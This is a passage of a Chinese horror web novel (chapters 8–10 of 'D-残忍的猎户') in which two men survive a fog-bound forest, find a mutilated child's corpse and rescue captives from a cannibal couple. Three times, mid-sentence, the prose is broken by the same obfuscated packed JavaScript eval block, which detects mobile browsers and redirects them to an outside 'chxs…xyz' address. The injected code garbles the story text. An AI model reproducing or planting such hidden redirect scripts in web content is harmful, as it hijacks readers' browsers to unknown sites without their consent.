“我解释什么?”男人瞥了他一眼,“这辆车又不是我的。” “不是你的?那你干嘛一副主人派头。”嵇无樾冷道,“我还以为你背着我们发财了呢。” “我是那种不讲义气的人吗?”男人不爽道,“这辆车是一对小情侣为了报答我给他们住处特地借给我开的,我问心无愧,不信你就去找他们对峙。” “行,这是你说的。”嵇无樾说,“那等会儿我跟你弟弟一起去找他们,我倒要看看你说的话几分是真几分是假。” 男人白了他一眼:“随便你。” 听着两人的对话,黎向辞习惯性看了眼车内镜,结果正对上嵇无樾傲娇求表扬的期待的眼神,简直像极了叼着树枝跑回来讨要好处的小狗。 虽然他不需要任何人陪他去拿枪,但是这都送上门了,怎么说也要给些奖励。 黎向辞扬了下眉,玩味地用口型说了句:“小狗真棒。” 嵇无樾眉梢一跳,几秒后控制不住地偏头忍笑,身体某处再次开始躁/动。 其实连他自己都觉得奇怪,如果是别人一而再再而三地用言语这么惹他,他绝对会让那些人付出惨痛的代价。 但是不知道为什么,这些话从黎向辞嘴里说出来,就他妈听起来很爽,让人恨不得立马把他/扒/光狠狠堵上那张不甘示弱的嘴。 越野车平稳地行驶了一段时间,黎向辞明显地感觉到外面的雾气愈发浓重了,即使有车灯也有些看不清路,于是便减缓了速度。 恰好面前是两条分叉路,他不知道该怎么走,正好也能趁机拖延时间想想对策。 倏地,一个黑影从车前窜了过去,撞的车身剧烈一震,偏移了原先的行驶轨迹,直直地朝一棵大树冲去。 地面湿滑,即使黎向辞在第一时间就踩了刹车,但还是于事无补,整辆车一个甩尾猛地撞到了树上,发出巨大的响声。 扑通! 重物落地的声音。 众人纷纷向后看去,发现后备箱不知道什么时候被打开了,好像有什么东西从里面滚了出去。 这时候稍微有点脑子的人都不会下车去看,可偏偏车子打不着火了,副驾驶座上的男人又推搡着黎向辞催促道:“赶紧下去把东西捡回来,车撞坏了我东拼西凑还能帮你赔点钱,但是如果把人家什么重要的东西搞丢了,我第一个打死你。” “可是外面好黑啊,我害怕。”黎向辞可怜巴巴地眨眨眼睛,“哥,你知道的,我从小就怕黑,能不能……” “不能!”男人强硬地往他手里塞了一个手电筒,“你闯出来的祸当然由你负责,快点下去把东西捡回来,你一会儿还有事呢,别拖到天亮!” 这已经是男人第二次警告不能拖到天亮了,难道这里的白天比黑夜更恐怖? 那么照这个说法,他现在出去很大几率是安全的,还是速战速决吧。 黎向辞检查了一下手电筒,确认没有损坏后,推开车门下了车。 他刚一下车,就听见车门再次一关一合,嵇无樾也跟着下来了。 黎向辞无暇理会,用手电筒照着地面,透过浓雾四处寻找从后备箱里甩出去的东西。 片刻,他们在一块大石头前发现了要找的东西。 那是一个被塞得满满的纯黑色大号塑料袋,目测完全撑开后应该能钻进去一个三四岁的小孩子。 “我有一种不好的预感。”嵇无樾说。 黎向辞:“同感。” 两人走过去,黎向辞把手电筒咬在嘴里蹲下,伸手去解塑料袋上打的死结。 嵇无樾站在一旁,饶有兴趣地欣赏青年用骨节分明的手指灵活地在死结上绕来绕去,刚想继续调戏他两句,就看见黎向辞眉头一皱,伸手暴力地把塑料袋扯破了。 嵇无樾:“……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14716934|157160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 果然,再冷静的人也会被打不开的死结逼急。 打开袋子,浓郁的腥臭味扑面而来,一个圆滚滚的球体从小洞中被挤压了出来,咕噜噜滚到了嵇无樾脚下。 嵇无樾俯身一看,竟是一只粘连着皮肤/组织/的/眼球,在充满泥泞的地面上显得尤为可怖。 就猜到会是这样,不用打开袋子就知道里面百分之九十会出现什么。 正想的出神,一束强光忽然射向他的眼皮,嵇无樾眯着眼用手背遮住眼睛,“你照我干什么?” “你过来看。”黎向辞说。 “尸体有什么好看的。”话虽这么说,嵇无樾还是老实地走了过去,“你不会是害……” 调侃声戛然而止。 手电筒的光线比先前暗了几度,黎向辞怕他看不清,干脆提起袋子把里面的东西倒在了地上。 那是一具有着狗头人身的小男孩尸体,刻着“旺旺”两个字的宠物项圈被残忍地缝在了他的脖颈间,粗麻线宛如蚯蚓一般没在肉里面,密密/麻麻看得人头皮发紧。 嵇无樾盯着男孩的尸体看了半晌,捡起眼球塞回了狗头的眼眶,又从兜里掏出那根在车上发现的手指拼在了它手上的缺口处。 这样就完整了,可以安息了。 一扭头,发现黎向辞正表情万分复杂地看着他,那神情好似在看一个死变态。 “别误会,我没有怪癖。”嵇无樾尴尬地咳了两声,“我只是怕那根手指有用,所以才顺手装兜里了。” 黎向辞别有深意地撩他一眼:“你最好是。” 嵇无樾:“……” 完蛋,好像解释不清了。 手电筒的灯光闪烁几下眼看就要罢工,黎向辞让嵇无樾帮忙把尸体重新装回塑料袋里塞进了后备箱。 关门时,黎向辞余光一闪,瞥见车子下面有台沾满了血迹的照相机和几张散落的塑料卡片。 这场景与他记忆里的完全重合了。 黎向辞蜷了下手指,刚想俯身去捡,男人就从车窗里把头探了出来,冲两人喊道:“东西放好了就赶紧上车,磨磨蹭蹭的干什么呢!别让我下去揪你们上来!” 话落,男人打开车门下了车。 正当黎向辞想找理由把他支开的时候,嵇无樾却上前一步挡在了两人中间,一副没心没肺的模样:“哥,问你个事呗。” “什么事上车再说。”男人不耐烦道。 嵇无樾笑了下:“不会耽误你很长时间的。” 趁着两人谈话期间,黎向辞快速捡起照相机和卡片躲到了男人看不到的一侧。 在看见尚未磨损的卡片上清晰的照片和名字时,他心里猛地一颤,已经大致猜到了照相机里面的内容。 黎向辞打开照相机,里面除了几张欲盖弥彰的风景照外,其余全是血腥一片,尤其是最新拍摄的几张照片。 他终于知道为什么这个号称他哥哥的男人看起来这么眼熟了。 与此同时,正在跟嵇无樾大声讲话的男人突然静止不动了,并且身体正在以极快的速度腐烂。 8. D-残忍的猎户 随着一声嘶吼,男人彻底在嵇无樾面前变成了一具站立着的腐烂尸体 它浑身上下布满伤口,夹杂着血块的脓血不断往外淌,里面爬满了黑色的小虫和白色的蛆。 它张着嘴猛地伸手去抓面前青年的脸,嵇无樾低低骂了一句,迅速后退一步转身要上车。 但是男人的速度比他想象的要快上许多,在他转身的一瞬间,一只血腥黏腻的手恶狠狠扣进了他的肩膀里。 嵇无樾吃痛地“嘶”了一声,握住男人的手腕用力一掰,整条胳膊都把他连骨带皮拽了下来。 他扭头就是一脚,结果却踹到一片软绵绵的血肉,整只脚都陷了进去,这诡异的触感让他心里一阵恶寒。 男人踉跄着倒地,嵇无樾揉着肩膀上前补了一脚,随即头也不回地上了越野车。 车上被吓到紧抱在一起的三人见他上来,急忙催促着让他开车。 “快开车!等一下那东西追上来了!!” 嵇无樾也来不及细想,条件反射地猛踩油门,车“嗖”一下窜出去老远,却忽然反应过来忘了个人在外面。 “我草。”他眼底闪过一瞬慌张,透过后视镜往后看去,却只看到一片浓黑和迅速弥漫至整片森林的雾气。 他有些失去方向了。 “怎么办,向辞还在外面。”李祈昭蜷缩在后座上发抖,表情愧疚地喃喃道,“他救过我的命,我却丢下他跑了,我真不是个人……” “那又怎么样,总不能为了回去接他把我们四个人的命全搭上吧?”男人抱着女朋友理直气壮地说,“而且我看他也没有那么厉害,从头到尾也只会耍耍嘴皮子而已,说不定带上还是个累赘呢!” “跑都跑了,就别说这种话了。”女人不满道,“积点口德吧你!” 男人不屑冷哼:“老子八字硬,没德也死不了。” 吱啦—— 车猛地停下了,后座三人毫无防备地摔下了车座,男人捂着磕红了的额头刚要发怒,却被嵇无樾颇具压迫感的冷然眸光给吓了回去。 “你们谁会开车?” — 黎向辞沉默地望着疾驰而去的越野车片刻,蹲下把那张写着“程旭阳”三个字的工作证塞进试图爬起来的腐烂男人嘴里,随后背上照相机走进了森林深处。 如果男人是程旭阳,那他或许知道那对情侣暂住在哪里了。 只是当时在白天的时候还绕了将近一个小时,现在想过去可能会更困难,希望自己还能想起来去小木屋的最近路线。 黎向辞天生方向感极强,而且出于基本的职业素养,即使是在如此恶劣的环境下,他也有十成把握能在大雾中找到出去的路——不过是在没有外界因素干扰的情况下。 黎向辞尚走没多久,便又撞见了那个刚进来时看到的肥壮黑影。 而且他们之间的距离非常近,只隔着一片小型的灌木丛,黎向辞甚至能看清那黑影模糊的五官。 丑,而且丑的很奇怪,根本不像是人类的五官,倒更像是—— 熊。 学人招手的熊。 此时,面前黑影的呼吸忽然变得急促,挥动的双手也焦躁地加快了速度。 黎向辞眯了下眼,在不惊动它的前提下微不可察地抬脚后退。 可他显然低估了这头熊的反应能力,就在他想退第二步的时候,这头熊倏地嘶吼着扑了过来,肥硕有力的爪子往前一挥,黎向辞的胳膊立马见了血。 嗅到新鲜的血液味道,黑熊嘴里的嘶吼逐渐转变为兴奋地嚎叫。 黎向辞毫不犹豫转身就跑。 这是只饿极了的黑熊,什么装死、增加体积的保命技巧都对它无效,只有跑,跑的越远越好。 他不觉得自己能在黑熊主宰的领域获得优势,只能尽全力将它甩掉。 黑熊在身后紧追不舍,黎向辞甚至都能感觉到它四处飞溅的唾液落在了脖颈上。 路面崎岖不平,浓雾遮挡视线,高大植物妨碍速度,还要分神思考应对黑熊的对策,这几分钟下来比他通宵出任务还累。 黎向辞越跑火气越大,几次三番都想回头抽黑熊一巴掌,但那只会让他的处境更加凶险。 他忍的牙齿都咬酸了。 不知道带着黑熊在森林里绕了多远,眼前的植物赫然变少,地面也更加平坦了。 黑熊此时都已经有些体力不支,哼哧哼哧喘着粗气,更别提他一个有血有肉的人类了。 黎向辞能坚持遛熊这么长时间,全凭的是他觉得死在一只动物手里很丢人,这如果传出去,其他同行全都得笑掉大牙。 不,不说同行了,被他嘲讽过的手下败将也会给他的墓碑啐上两口唾沫。 这场面简直就是灾难! 好不容易穿越一大片茂密的树林,眼前总算豁然开阔,但仍然有一些恼人的变异植物挡路。 黎向辞直觉快到小木屋了,于是加快了速度。 结果他忽然脚下一空,强烈的失重感袭来,黎向辞心脏错乱一拍,眼疾手快地抓住了一旁长满刺的低矮植物,身体重重砸在了坑洞内壁。 黎向辞顾不上疼痛,用另一只手攀着坑洞边缘,脚下借力一蹬,干净利落地翻身上了平地。 他前脚刚站稳,身后咆哮而来的黑熊就蹭着他的衣角扑通掉进了坑里,随即爆发出极度不甘的痛苦叫声。 黎向辞微微探头朝里一看,目测这个坑最少不低于两米。 他眉间微动,猜测这是本地猎户为了方便狩猎挖的陷阱,说不定下面还有捕兽夹之类的,如果是他掉下去多半就一命呜呼了。 但总算是有惊无险,还顺便解决了一个大麻烦。 他拍了拍衣服上的灰,扯下一串布条垂眼缠着右手上被植物根茎刺出来的细密伤口和胳膊上的抓痕。 但他还没来得及抬头,腰间忽然传来一片凉意,一个硬邦邦的东西抵住了他。 一个陌生男人沉声威胁道:“别动,不然我就开枪了。” 黎向辞缠伤口的动作一顿,缓缓举起双手,笑道:“大哥,我是良民,有事好商量啊。” 男人上下打量一番他的着装,然后举起枪对准了他的脑袋,“转过来。” 黎向辞听话地转身。 谁料男人在看见他脸的那一刻,惊讶地放下了枪,“你是程旭阳的弟弟?” “是啊。”黎向辞故作伤心,“我还以为你认不出我了呢。” “哎呀,抱歉抱歉,天太黑了没看清。”男人笑呵呵地拍了拍他的背,“我住的地方还是你哥提供的呢,我如果伤了你,我后半辈子还不够赎罪的。” 黎向辞眉尾一动,目光缓慢移向男人手里握着的枪上。 所以这把枪是…… 察觉到他的目光,男人连忙把枪递给他,“不好意思啊,擅作主张动了这把枪。”他歉意地挠挠头,“我就是听到外面有声音,一时情急就……” “一把枪而已。”黎向辞接过枪冲他笑了下,“还是安全重要。” “你们兄弟两个人真好!”男人自来熟地揽住了他的肩,“对了,上次见面忘记告诉你我的名字了,叫我小华就好。”他说:我跟我老婆刚回来,她正在做菜,一起回去吃点吧?” 不知道为什么,黎向辞总感觉男人的脸有一种朦胧的感觉,就是看不太清五官,只能靠大脑的想象来从他的语气中感知情绪。 但是除了这点,其余一切又很正常。 所以程旭阳所说的“奇怪”指的是这个吗?还是有别的什么? 过去看看就知道了。 “好啊。”黎向辞欣然笑道,“我刚好饿了,走吧。” 小华咧开嘴笑着点点头,心情看起来很不错。 路上,黎向辞打开猎/枪/弹/夹看了看,满满当当的五枚子弹。 但是如果这里发生的事情跟他在外面遇到的事情相重合,那么有一发子弹必然会用出去。 会是谁在什么情况下打出去的呢? 正走着,一股奇异的肉香从前方飘来,黎向辞几乎是在闻到味道的一瞬间便产生了饥饿感。 这种饥饿感异常强烈,勾的他恨不得把树皮扒下来塞进嘴里。 他艰难地吞咽了下,紧握着拳头用伤口的疼痛来让自己保持冷静。 身旁的小华则露出了近乎贪婪的表情,仰着头痴迷地嗅着空气中的香味,几秒后又落寞地垂下脑袋,大颗大颗的眼泪从他眼角滑落。 “我一直都很喜欢我老婆做的菜,一直都很喜欢……”他小声啜泣,“我好想念她……好想念……” 男人矛盾的行为被黎向辞分毫不差地尽收眼底。 不过他没有表现出异常,甚至连安慰都没有,只是静静地在一旁看着。 他好像明白了什么。 小华的哭声并没有持续很久,几分钟后再次恢复正常。 黎向辞甚至都觉得他这样有些滑稽,像是在表演川剧变脸一样。 距离木屋不远处,黎向辞蓦然听到了熟悉的尖叫声,紧接着便是一阵夹杂着拖拽声的混乱怒骂。 黎向辞若有所思地蹙了下眉,拨开了面前硕大的植物叶子。 映入眼帘的便是架在木屋前正在沸腾的大铁锅,以及硬塞了两个人的逼仄狗笼。 狗笼里是瑟瑟发抖的李祈昭和跟他们一起进来的女人,狭小的空间使他们不得不将自己蜷缩成小小的一团。 而女人男朋友的双腿已经被全部砍掉了,此时正声嘶力竭地双手扣地防止被蓬头垢面的焦黑怪物扔进大锅。 嵇无樾却始终不见踪影。 黎向辞下意识瞟了眼锅口,那家伙不会已经被煮了吧? “今天的食材看起来很新鲜,你真是有口福。”小华拉他的手往怪物的方向走去,“等做好了多吃点,我老婆不喜欢有人剩饭。” 黎向辞:“剩了会怎么样?” “还能怎么样?”小华奇怪地看他一眼,“当然是挨骂。” 黎向辞:“哦。”信你个鬼。 处在崩溃边缘的李祈昭闭着眼睛不断祈祷,额头上的汗珠爬了满脸,顺着下巴滴落在了臭气熏天的笼子里。 他不想死!!求求来个人救救他吧!!求求来个人救救他吧!! 这是李祈昭被抓过来之后的第十次祈祷,他知道没有用,因为唯一可能会有办法救他们的青年被残忍地扔在了半路上。 自从他亲眼看见怪物用生锈的斧头一点一点砍断女人男朋友的双腿,亲耳听到男人刺耳的哀嚎,他就感觉自己的精神开始变得不正常了,会不间断地在眼前浮现各种想见的人。 比如— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14716935|157160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' —黎向辞。 李祈昭苦笑一声再度阖眼,觉得自己真的是被逼出妄想症了,竟然会幻想那个被他们抛弃了的黎向辞会出现在他的面前伸手敲笼子。 “喂,那个姓嵇的呢?” 真真切切听到来自耳边的清冽嗓音,李祈昭猛地睁开眼睛,被眼前真实存在的青年惊到说不出话来。 一旁的女人亦然如此,颤抖地伸出手指着黎向辞半晌发不出一个完整的音节。 黎向辞伸出食指在嘴巴上比了下,“嘘,冷静点。” 两人激动的热泪盈眶,点头如捣蒜。 黎向辞冲李祈昭一抬下巴,又重复了一遍问题,“嵇无樾呢?” “不知道。”李祈昭摇头,“他没跟我们一起。” “没一起?”黎向辞挑眉,“他干什么去了?” 李祈昭咽了下口水,如实道:“他去找你了。” “找我?”黎向辞一怔,这个答案倒是挺出乎意料的。 “是的,找你。”李祈昭鼻腔一酸,忍不住道:“对不起,是我们太自私了。” 黎向辞望着他一言不发,半分钟后起身离开了狗笼。 “他不会就这么扔下我们吧?!”女人刚燃起的希望被黎向辞走之前冷漠的眼神给彻底浇灭了,她绝望地抱着脑袋摇头,“不,他不能就这么看着我们死在这里!!他不能这么做!!” 李祈昭也跟着哭了。 “他如果就这么离开也没错。”他抱自己抱的更紧了,“走到这一步是我们活该。” — 黎向辞在路过趴在地上的男人时,发现男人已经因为失血过多断气了,两眼瞪的老大,一副极度不甘的模样。 他垂着眼望了男人片刻,然后俯身将他的眼皮合上了。 “快来尝尝我老婆做的凉拌菜。”清洗完斧头的小华在铁锅的另一侧冲他招手。 黎向辞刚走过去,手里就被塞了一盆血红的生腿肉,上面还细心地点缀了几朵枯萎的花瓣。 “……”好一个凉拌菜,就这几片素的。 “全部吃完哦。”小华笑眯眯地盯着他,“不然我老婆会生气的。” 黎向辞凑近嗅了嗅味道,发现那股肉香就是来自这盘所谓的凉拌菜。 他控制不住地吞咽了下,近乎疯狂地想大快朵颐,那股强烈的饥饿感再次席卷而上,难受到他即将失去理智。 黎向辞无力地晃了晃脑袋,再回过神时,手里已经抓了一大块肉要往嘴里送。 他艰涩地呼出一口气,强迫自己把肉放回了盆里。 见状,小华的表情瞬间变得阴沉,握紧了手里的斧头。 “怎么了?”他冷道,“是不合你的胃口吗?” 黎向辞的手被饿的发抖,险些端不动这盆生肉。 他看了看正在把男人往铁锅里扔的怪物,决定选择一个更加有志气的死法。 饭吃不完会生气是吧? 好,那我就干些让你们更生气的。 “不是不合胃口,是人没到齐不太好意思吃。”黎向辞假意环顾四周,疑惑道:“你老婆呢?怎么来这么久了也不出来露个脸,是长得丑还是害羞啊?” 话音刚落,身后沉重的拖行声骤然消失,空气仿佛凝滞一般,连气流声都听不见了。 黎向辞不用回头就知道,那怪物瞪向他的眼神有多么阴冷可怕——因为面前这个已经举起斧头要砍他了。 黎向辞刚准备把肉盆扣在他脑袋上,就听见森林里传来一阵急促的脚步声,紧接着满头大汗的嵇无樾就出现在了众人面前。 “我可算找到你了,你小子是真能跑,鞋都跑飞好几次也追不上你。”嵇无樾撑着膝盖喘气,旁若无人地说:“像你这种的就活该没人要,不然肯定一生气就往娘家跑,一生气就往娘家跑,还特么逮不住,你说说你有多气人——” “——吧。”在看清现场的情况后,他僵硬地扯起嘴角,试图转移话题:“你们……聚餐呢?女主人还没来吗?” 黎向辞:“……” 牛逼,上赶着送人头来了。 怪物被嵇无樾这句话彻底激怒了,怒吼着抬起大铁锅就朝他砸了过去,滚烫的浑浊液体洒了满地。 被关在狗笼子里的两人靠重力拼命把笼子往后一倒,这才勉强躲开了一大摊滚烫的液体,但还是被飞溅的星星点点烫的哇哇大叫。 害怕嵇无樾来不及跑,黎向辞迅速后撤一步,举起枪对准铁锅侧边精准开了一枪。 铁锅被子弹撞的往旁边一歪,轰隆砸在了树上。 黎向辞还欲开枪打那只追击嵇无樾的怪物,小华却一斧子把枪打到了灌木丛中。 眼看又是一斧子,黎向辞侧身一闪,斧子正巧将门口的木牌劈成了两半,盖在了枪上。 黎向辞恍然大悟。 原来开枪的是程旭阳的弟弟——也就是现在的他。 但是他们两人看到的场景定然是不一样的,看来要想办法去程旭阳弟弟的住处找找线索。 嵇无樾刚站稳,还没来得及欣赏救了他的美人,怪物就咆哮着扑了过来。 “我收回我说过的话。”他边跑边冲黎向辞抛了个媚眼,“像你这样的,活该被人追着草。” 黎向辞本来就窝了一肚子火,终于忍无可忍:“滚!” 9. D-残忍的猎户 丢了武器,黎向辞无暇顾及被怪物按倒在地的嵇无樾,一脚踢开了面前不断挥舞斧头的男人。 男人在铺满滚烫液体的地上惨叫着滚了两圈,腰间甩出一串钥匙。 黎向辞捡起钥匙,男人不甘心地握着斧头朝他的小腿砍过去,却被踩住手掌用力碾着,斧头当啷一声掉落在地。 “啊啊啊啊啊——”男人的叫声更凄惨了。 正趴在嵇无樾身上的怪物闻声毫不犹豫起身嘶吼着扑向黎向辞,那汹涌之势仿佛要把他生吞活剥。 “真是夫妻情深。”嵇无樾坐在地上揉了揉脖子,目光忍不住从怪物身上跳到了身形单薄却充满威慑力的青年身上。 他抬起手将黎向辞整个框在视线里仔细打量,随即勾唇一笑,单手撑地从地上起来了。 “钥匙给我!”嵇无樾在怪物身后冲他招手。 黎向辞踩着男人躲过怪物的攻击,转身顺势将那一大串钥匙扔了过去。 “速战速决。”他命令道。 嵇无樾往前一步精准地接到钥匙,在看见将近十把几乎一模一样的钥匙后苦恼地“啊”了一声,但是也没敢耽搁,一路小跑来到了狗笼前面。 靠脑子靠武力他行,但是这种情况他是真没办法,只能一把一把试。 接连试了七把还没把锁打开,黎向辞倒是被怪物在背上抓出了一道很深的血痕,还差点被按在地上砍了胳膊。 “还没好!” 听到明显压抑着怒气的质问声,嵇无樾心虚地回头一瞥,正对上黎向辞想杀人的目光。 苍天啊,谁知道他那么倒霉,都第七把了也没成功开锁! “等会儿黎美人杀人的时候帮我拦着点,我被牵连完全是因为要救你们。”嵇无樾说着将第八把钥匙插进锁孔,咔哒,挂在狗笼上的锁终于开了。 他呼出一口气,快速拿下锁链,把里面的两人放了出来。 由于两人在笼子里蜷缩了太长时间,四肢酸麻,互相借力出笼子的动作显得滑稽又艰涩。 嵇无樾实在看不下去了,一把薅住两人的衣领把人拽出来,正色道:“去把车开过来!” 李祈昭张了张嘴欲说些什么,但嵇无樾已然着急忙慌转身帮人去了,根本没空搭理他。 女人看出他的犹豫,蹙眉问道:“怎么了?” “……我不会开车。”李祈昭耳根发烫。 “多大点事儿,没吃过猪肉总见过猪跑吧?”女人一瘸一拐地推着他往前走,“走了走了,摸着方向盘你自然而然就会了。” “真、真的吗?”李祈昭吞咽了下,“可是……” “哎呀,可是个屁啊!我说让你开你就开!” 女人推搡着李祈昭朝森林深处跑去,期间扭头看了一眼趴在地上了无生息的男人尸体,眸间浮上一抹化不开的哀伤。 — 黎向辞背上的伤口在与一人一怪缠斗间不断撕裂撑开,衣物被鲜血完全浸湿,黏腻地贴在身上,极其不舒服。 他晃了晃发晕的脑袋,脚步变得有些虚浮。 嵇无樾及时跑过来把他扶稳,环着他的腰往旁边一闪,在躲开劈下来斧头的同时一脚将面前摆满各种器官的桌子踢翻了。 来不及反应的男人被直直压在了桌子下,怪物惊叫着去抬桌子。 “看你被打成这样我都心疼了。”他笑着勾了下黎向辞的下巴,“坐下歇会儿,剩下的我来。” 他也就是笃定黎向辞现在肯定懒得分出力气打他,不然他才不冒险作这个死。 “也该你来了。”黎向辞轻呼一口气,伸手将人推开了。 黎向辞确实没用什么力气,只是软绵绵推了下嵇无樾的胸口,这个举动在嵇无樾看来颇有几分撒娇的意味。 尤其是被他垂着眼尾懒懒的一瞪,青年眸中独有的清冷感和浓浓的倦意竟显得万分撩人,勾的嵇无樾心尖微微发痒。 嵇无樾还从来没遇到过单单只是撩拨他一眼、就能令他如此魂不守舍的人。 难道别人眼里的黎向辞也是这样? 那可不行。 他可是自私到连喜欢的眼神都不愿意共享的人。 两人说句话的功夫,怪物已经把男人从桌子下面拽出来了,怪叫着朝嵇无樾冲了过去。 嵇无樾随手抄起凳子开始反击。 他算是看明白了,这怪物是个护短的恋爱脑,谁打男人它打谁,而男人又坚定不移地跟着它变换追击的目标。 好生猛的一口狗粮。 黎向辞趁着嵇无樾拼命拉仇恨值的间隙一溜烟进了木屋。 不出意料的,木屋里面的陈设与他最初在森林里看到的景象大不相同,不仅没有黑熊标本和满床的血迹,甚至所有家具都干干净净没有一粒灰尘。 暖黄色的煤油灯安静地燃着,每个角落都透着一股安详和谐的气息,与外面满地狼藉的混战简直不像一个世界。 墙上挂着两套很厚实的情侣外套,一黑一白。 黎向辞利索地脱了上衣,撕开一半床单将自己背上的伤口进行了简单的包扎,伸手扯下黑色的外套穿上了。 快速在屋子里翻找一番,黎向辞只找到了一张简易版的地图,上面用歪歪扭扭的字迹标注了森林里由程旭阳带头建造的所有房屋的位置,其中就有程旭阳弟弟的住处。 有这个就足够了。 外面倏地传来一声急促的刹车声,紧接着就是李祈昭大呼小叫的喊声。 黎向辞把地图折起来装进口袋,刚走到木屋门口,门就被先一步从外面拉开了。 黎向辞第一眼看到的不是眼前满手鲜血的嵇无樾,而是他身后不远处被五花大绑压在桌子下面的“恩爱夫妻”。 这家伙靠谱归不靠谱,但是还挺能打的。 他不爽地压了下嘴角,早知道就自己拿钥匙开锁了,还能少挨一刀。 嵇无樾在看见他后先是一愣,随即饶有兴趣地上下打量他,“果然是衣架子,这么老气的衣服都能被你穿出来时尚感。” 话落,他瞥见了墙上挂着的另一件同款的白色外套,表情又是一顿。 黎向辞还以为他是要进去找线索,于是拍了拍他的肩膀,“不用找了,只有一张地图,上车给你看。” 嵇无樾还是挤开他进了屋子,明显是不相信他。 黎向辞没有拦他的必要,于是径直走到了那对夫妻面前,微微抬起桌子观察。 无论是男人还是已经沦为焦黑怪物的女人,身体上都有大大小小数个嵇无樾用斧头砍出来的致命伤,可他们仍在苟延残喘的挣扎。 黎向辞眉间微动,竟然杀不死吗?看来还没到时候。 他捡起一旁的木棍,轻轻拨开怪物腰间系着的破布,一圈明显是被拦腰截断的可怖伤口暴露在了空气中。 他还没来得及细看,怪物就像疯了一般张着嘴扑向他,喉间发出极巨攻击性的呼噜声,看起来愤怒到了顶点。 黎向辞眼疾手快地把木棍捅进怪物嘴里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14716936|157160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,兀自叹了口气:“咬吧咬吧,等我找出来真相,我看你还能不能继续骗自己。” 也不知是巧合还是什么,在他说完这句话后,怪物居然静止不动了,喉间发出了平缓有节奏的“嗬”声,似乎是在努力回忆着什么。 片刻,一滴夹杂着烟灰的浑浊眼泪顺着它的脸颊滑至地面,溅出一个浅淡的水花。 黎向辞看了它几秒,伸手把木棍拿出来了。 “快点快点,感觉又要起雾了!”车里的女人焦急地冲他招手。 怕扯到伤口,黎向辞起身的很缓慢,一扭头,瞥见嵇无樾把那件白色的女款外套硬套在了身上,连拉链都只能勉强拉上。 黎向辞:“?” 注意到黎向辞看傻子似的眼神,嵇无樾大方一笑,很自然地整了整衣领:“人嘛,总要尝试不同的穿衣风格,帅气风穿腻了,试试紧绷风。” “……”神经。 上了车,见黎向辞坐在了副驾驶位上,嵇无樾很自觉地担任起了司机的职责。 “诶,你们两个穿的好像情侣装啊。”李祈昭挠了挠脸颊,对嵇无樾说:“就是你的有点小,穿向辞身上这件应该就正合适。” 虽说嵇无樾脸长得漂亮,但他的身材可是标准的健身模板,比一身薄肌的黎向辞看起来壮了不少。 “听见没有?”嵇无樾边开车边乐滋滋地冲黎向辞挑眉,“还不快脱下来。” 黎向辞双手环胸靠在椅子上闭目养神,闻言眼皮也不抬。 “不换。”他说,“我穿你那件也小。” “怎么可能,你那么瘦。”嵇无樾哄道,“乖,快脱下来跟我换换,我穿这件难受死了。” 听到这个莫名跳出来的亲昵称呼,黎向辞深深蹙了下眉,“不舒服就别穿,又没人逼你。” “这不是想跟你穿一样的嘛。”嵇无樾嘿嘿一笑,大方道:“不换就不换吧,反正真男人从不在这种小事上占便宜,等咱们以后做/爱的时候再把便宜捞回来也不迟。” 后座的两人:“???” 话题的转变速度未免也有点太快了吧?这是他们能听的吗?! 黎向辞终于忍不住掀起眼皮,拧眉道:“谁他妈要跟你做/爱啊?” “你啊。”嵇无樾挑眉,“你不是说愿意跟我一夜情吗?等从这个积分点出去,我们找个没人的地方……算了,要不一会儿就开始?反正这个推演难度低,耽误几个小时应该没事。” “大哥,你发情看一下场合行不行?”黎向辞说着把外套脱掉扔了过去,“跟这个外套做去吧。” “你真好,居然真的愿意跟我换。”嵇无樾笑着接过外套,余光一瞥,看见了一大片白皙的皮肤。 他被吓得猛踩刹车,不自觉吞了下口水:“你只穿了件外套啊?” “不然呢?我难道要把那件全是血的衣服套在里面吗?”黎向辞不耐烦道。 “你、你等等啊——你们两个不许看,都给我把眼睛闭上!”嵇无樾的神情肉眼可见的变得慌张,赶忙把外套扒下来盖在黎向辞身上,再次吞咽了下,“你、你快穿上,万一被外面的死流氓看见就不好了。” 黎向辞白他一眼穿好外套,然后看着不长不短的袖子陷入了沉思。 ……为什么穿上这么合身。 这不合理。 嵇无樾打量着身旁正在怀疑人生的青年,暧昧地笑道:“看来你天生就是给别人当老婆的料啊。” 黎向辞抬手就是一巴掌。 10. D-残忍的猎户 果然如女人所说,车刚开出去一段距离便再次起了大雾。 虽说森林里起雾是再正常不过的事情,但周围一团灰蒙蒙的景象总归闷的人心里压抑。 按照地图上标注的路线,沿着小木屋正西边的方向一直开就能到程旭阳弟弟的住处。 